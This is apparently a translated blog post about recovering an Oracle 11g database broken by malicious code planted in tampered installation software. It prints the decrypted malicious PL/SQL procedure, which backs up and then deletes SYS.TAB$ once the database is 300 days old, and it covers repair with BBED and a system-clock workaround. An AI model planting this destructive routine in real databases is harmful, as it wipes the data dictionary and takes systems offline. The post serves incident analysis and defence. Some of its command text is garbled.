Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

The database software was injected with malicious code, so that the database could not be started, ORA-600_16703

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Database >

Share

Shulou(Shulou.com)06/01 Report--

Recently, my colleague was in charge of a project in which the computer room lost power and needed to restart the database after recovery. I was found, which is a routine operation. After logging in to the database, I directly startup the command. However, an ORA-600 error appears, and repeated retries cannot eliminate the problem:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018Copyright (c) 1982, 2013, Oracle. All rights reserved.Connected to an idle instance.SQL > startup mount;ORACLE instance started.Database mounted.SQL > alter database open;alter database open*ERROR at line 1:ORA-01092: ORACLE instance terminated. Disconnection forcedORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: [16703], [1403], [20], [] Process ID: 1236Session ID: 1 Serial number: 5

After querying the relevant error information on the Internet, it is determined that the database cannot be started due to the injection of malicious programs into the database installation software. The links are as follows:

Https://www.eygle.com/archives/2018/07/recover_ora-600_16703.html

The injected files are:

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

The package file is finally injected with a trigger, the startup trigger, which is triggered to execute when the database is started:

This trigger executes the previous encrypted code, the stored procedure, the decrypted code of this stored procedure is as follows, the code logic is to determine that the creation time of the database is more than 300 days, and then create a backup table, after backing up the tab$ content, empty the TAB$ table.

After that, of course, the database cannot be started:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT: = 10

BEGIN

SELECT TO_CHAR (SYSDATE-CREATED) INTO DATE1 FROM V$DATABASE

IF (DATE1 > = 300) THEN

EXECUTE IMMEDIATE 'create table ORACHK' | | SUBSTR (SYS_GUID,10) | |' tablespace system as select * from sys.tab$'

DELETE SYS.TAB$

COMMIT

EXECUTE IMMEDIATE 'alter system checkpoint'

END IF

END

If you find this trigger in the database, delete it immediately. Otherwise, an error will be reported after the database is restarted!

Now that we have found out the cause of the problem, how to solve it?

1. According to the solution on the network, because the malware writes the data into another table before deleting the data, the sys.tab$ table can be restored by bbed. After the database is started, the sys.tab$ table data is restored from the backed-up table, and the database returns to normal.

The idea is that there is no problem, but I have not been exposed to the bbed tool before, so I can only follow the steps in the document and do it first. the link is as follows:

Https://mp.weixin.qq.com/s?__biz=MjM5MDAxOTk2MQ==&mid=502797155&idx=1&sn=9f45528552d8951d7b1cf9beb2a2294b&chksm=3e478b7509300263287c126243ff8c86d3335fe934b7db2d387add87b49a667dc23048edab59#rd

According to the document idea, when the database starts, you need to access the base table, and the rdba addresses of these objects are generally the same on the database of the same version and platform, so find a normal database of the same version on the same platform (preferably a cleaner database, otherwise the subsequent processing will be more troublesome), replace it with bbed, and use sql to splice out the command of bbed.

SQL> SELECT DISTINCT'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM( 2 SELECTa.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID)FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID 3 FROMTAB$ a,obj$ b 4 WHEREa.obj#=b.obj# 5 ANDA.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));

The result is something like this.

-BBED tool--

Here is another record of the use of the bbed tool:

1.1 BBED installation

BBED library files are not provided by default in OracleDatabase 11g, but can be compiled with 10g files. You need to copy the following files from 10g to the appropriate directory before executing the above connection command. Refer to the following steps:

(1) copy Oracle 10g file

Copy ORA10gHOME/rdbms/lib/ssbbded.otoORA10gHOME/rdbms/lib/ssbbded.otoORA11g_HOME/rdbms/lib

Copy ORA10gHOME/rdbms/lib/sbbdpt.otoORA10gHOME/rdbms/lib/sbbdpt.otoORA11g_HOME/rdbms/lib

Copy ORA10gHOME/rdbms/mesg/bbedus.msbtoORA10gHOME/rdbms/mesg/bbedus.msbtoORA11g_HOME/rdbms/mesg

Copy ORA10gHOME/rdbms/mesg/bbedus.msgtoORA10gHOME/rdbms/mesg/bbedus.msgtoORA11g_HOME/rdbms/mesg

Copy ORA10gHOME/rdbms/mesg/bbedar.msbtoORA10gHOME/rdbms/mesg/bbedar.msbtoORA11g_HOME/rdbms/mesg

(2) compilation

Make-f ORA11gHOME/rdbms/lib/insrdbms.mkBBED=ORA11gHOME/rdbms/lib/insrdbms.mkBBED=ORACLE_HOME/bin/bbed $ORACLE_HOME/bin/bbed

1.2 use BBED

BBED is a command used internally by Oracle, so Oracle does not provide technical support. For security, BBED sets password protection, and the default password is blockedit.

[oracle@db2 bin] $bbed

Password:

BBED-00113: Invalid password. Please rerunutility with the correct password.

[oracle@db2 bin] $bbed

Password:

BBED: Release 2.0.0.0.0-LimitedProduction on Thu Aug 11 18:51:47 2011

Copyright (c) 1982, 2005, Oracle. All rights reserved.

*! For Oracle Internal Useonly!! *

BBED >

Bbed is generally used to write some configuration information into a parameter text, which is specified when bbed is called. Such as:

$bbedparfile=bbed.par

Examples of parameter files are as follows: file_id and file_name are required.

Since only the design base table is in the system table space, we only need to copy a copy of the system data file of the normal database to the database server that cannot be started, and then enter the information into the parameter file, as shown below:

Execute the copy command in turn

-BBED tool

After modifying a data block using bbed

Try the open database: SQL > conn / as sysdba

Connected to anidle instance.

SQL > startup

ORACLE instancestarted.

Total System GlobalArea 1269366784 bytes

Fixed Size 2252864 bytes

Variable Size 1191186368 bytes

DatabaseBuffers 67108864 bytes

Redo Buffers 8818688 bytes

Database mounted.

Database opened.

However, if you check the alert log at this time, you will find that there is an error. From the alert log, you can see that the database open is accompanied by ora-7445 at this time, and the crash will be dropped after 5 minutes, so it is necessary to seize the operation time of 5 minutes.

The following steps are more complex, because I am not familiar with the bbed tool, so I did not continue. Interested students can study it again.

Now I use backup to get the database back to normal.

The first time to use backup recovery encountered a problem, because the malicious code has been implanted when the oracle software is installed, so after the backup restore, after performing startup, this trigger will be triggered and the $tab base table will be emptied. After using backup and recovery, there is no problem with querying the data table, but the data cannot be exported using the exp tool, there will be an error, and the database largely depends on the $tab base table, so the database here is not normal.

According to the principle of this malicious script, it uses sysdate-createdate to determine whether the database is running for more than 300 days, so can we start the database normally by modifying the operating system time of the database server so that its createdate data is less than 300 days?

Through on-site operation, this method is possible.

1. Adjust the operating system time to less than 300days to make the startup database normal.

2. Then delete the relevant triggers and stored procedures

3. Shut down the database shutdown immediate normally

4. Adjust the operating system time to the present time

5. Startup database

6. Check the data, as well as data export, background log, everything is normal

-Summary-

Through this event, I learned about the bbed tool that I have never touched before, and I feel very powerful when I have time to study this tool. Also, when deploying database software, be sure to use the official installation file and verify the value of md5.

Attached:

1. Oracle database encryption and decryption tool (can decrypt the contents of files in PLB format)

2. BBED-10G- source code (required when installing and compiling BBED)

3. MD5 value of common installation files of ORACLE

P13390677_112040_Linux-x86-64_3of7.zip size: 1.12GB md5:04cef37991db18f8190f7d4a19b26912

P13390677_112040_Linux-x86-64_2of7.zip size: 1.07GB md5:67ba1e68a4f581b305885114768443d3

P13390677_112040_Linux-x86-64_1of7.zip size: 1.3GB md5:1616f61789891a56eafd40de79f58f28

Linux can view MD5 values through the md5sum command

Download address: https://pan.baidu.com/s/1GwrETqSzvCgCJEgJe8a3iA

Extraction code: 1lyq

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Database

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report